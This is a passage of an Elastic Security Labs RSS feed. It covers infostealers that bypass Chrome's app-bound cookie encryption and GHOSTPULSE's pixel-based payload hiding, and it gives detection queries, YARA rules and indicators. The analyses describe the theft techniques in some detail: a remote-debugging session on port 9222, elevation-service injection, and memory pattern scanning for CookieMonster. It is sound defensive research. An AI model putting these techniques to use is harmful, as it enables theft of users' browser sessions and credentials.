<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tricks and Treats: GHOSTPULSE’s new pixel-level deception]]></title>
            <link>https://www.elastic.co/pt/security-labs/tricks-and-treats</link>
            <guid>tricks-and-treats</guid>
            <pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.]]></description>
            <content:encoded><![CDATA[<h2>Update</h2>
<p>This research covers an update to stage 2 of GHOSTPULSE, <a href="https://www.elastic.co/pt/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2">originally disclosed</a> by Elastic Security Labs in October 2023.</p>
<h2>Key takeaways</h2>
<ol>
<li>GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.</li>
<li>Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.</li>
<li>Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.</li>
</ol>
<h2>Preamble</h2>
<p>The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.</p>
<p>In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a <a href="https://www.elastic.co/pt/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">previous article from Elastic Security Labs</a>. However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.</p>
<p>In this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.</p>
<h2>Introduction</h2>
<p>Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by <a href="https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/">HarfangLab</a>. These campaigns stand out due to their <a href="https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers">creative social engineering tactics</a>. Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/image1.png" alt="Social engineer lure website" title="Lure website" /></p>
<p>In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.</p>
<p>However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/image2.png" alt="Large embedded PNG file in the resources section" title="Large embedded PNG file in the resources section" /></p>
<h2>Technical analysis</h2>
<p>The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.</p>
<p>The following is a screenshot showing the pseudocode of both implementations:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/image4.png" alt="Pseudocode code comparison between old and new algorithm" title="Pseudocode code comparison between old and new algorithm" /></p>
<p>In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.</p>
<p>In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's <code>RED</code>, <code>GREEN</code>, and <code>BLUE</code> (RGB) values sequentially using standard Windows APIs from the <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GdiPlus(GDI+)</a> library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.</p>
<p>The following diagram provides a visual breakdown of this process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/image5.png" alt="" /></p>
<h2>Updated configuration extractor</h2>
<p>Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/image3.png" alt="" /></p>
<h2>Detecting GHOSTPULSE with YARA</h2>
<p>The original <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">GHOSTPULSE YARA</a> rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.</p>
<p>Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_GHOSTPULSE_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-10-15&quot;
        last_modified = &quot;2024-10-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;GHOSTPULSE&quot;
        threat_name = &quot;Windows.Trojan.GHOSTPULSE&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }
        $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }

    condition:
        any of them
}

rule Windows_Trojan_GHOSTPULSE_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-10-10&quot;
        last_modified = &quot;2024-10-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;GHOSTPULSE&quot;
        threat_name = &quot;Windows.Trojan.GHOSTPULSE&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }

    condition:
        all of them
}
</code></pre>
<h2>Conclusion</h2>
<p>In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.</p>
<p>As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.</p>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077</code></td>
<td>SHA-256</td>
<td><code>Setup.exe</code></td>
<td>GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae</code></td>
<td>SHA-256</td>
<td><code>Setup_light.exe</code></td>
<td>GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>winrar01.b-cdn[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>Infrastructure hosting GHOSTPULSE sample</td>
</tr>
<tr>
<td><code>reinforcenh[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>stogeneratmns[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>fragnantbui[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>drawzhotdog[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>vozmeatillu[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>offensivedzvju[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>ghostreedmnu[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>gutterydhowi[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
<tr>
<td><code>riderratttinow[.]shop</code></td>
<td>domain-name</td>
<td></td>
<td>LUMMASTEALER C2</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/tricks-and-treats/tricks-and-treats.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>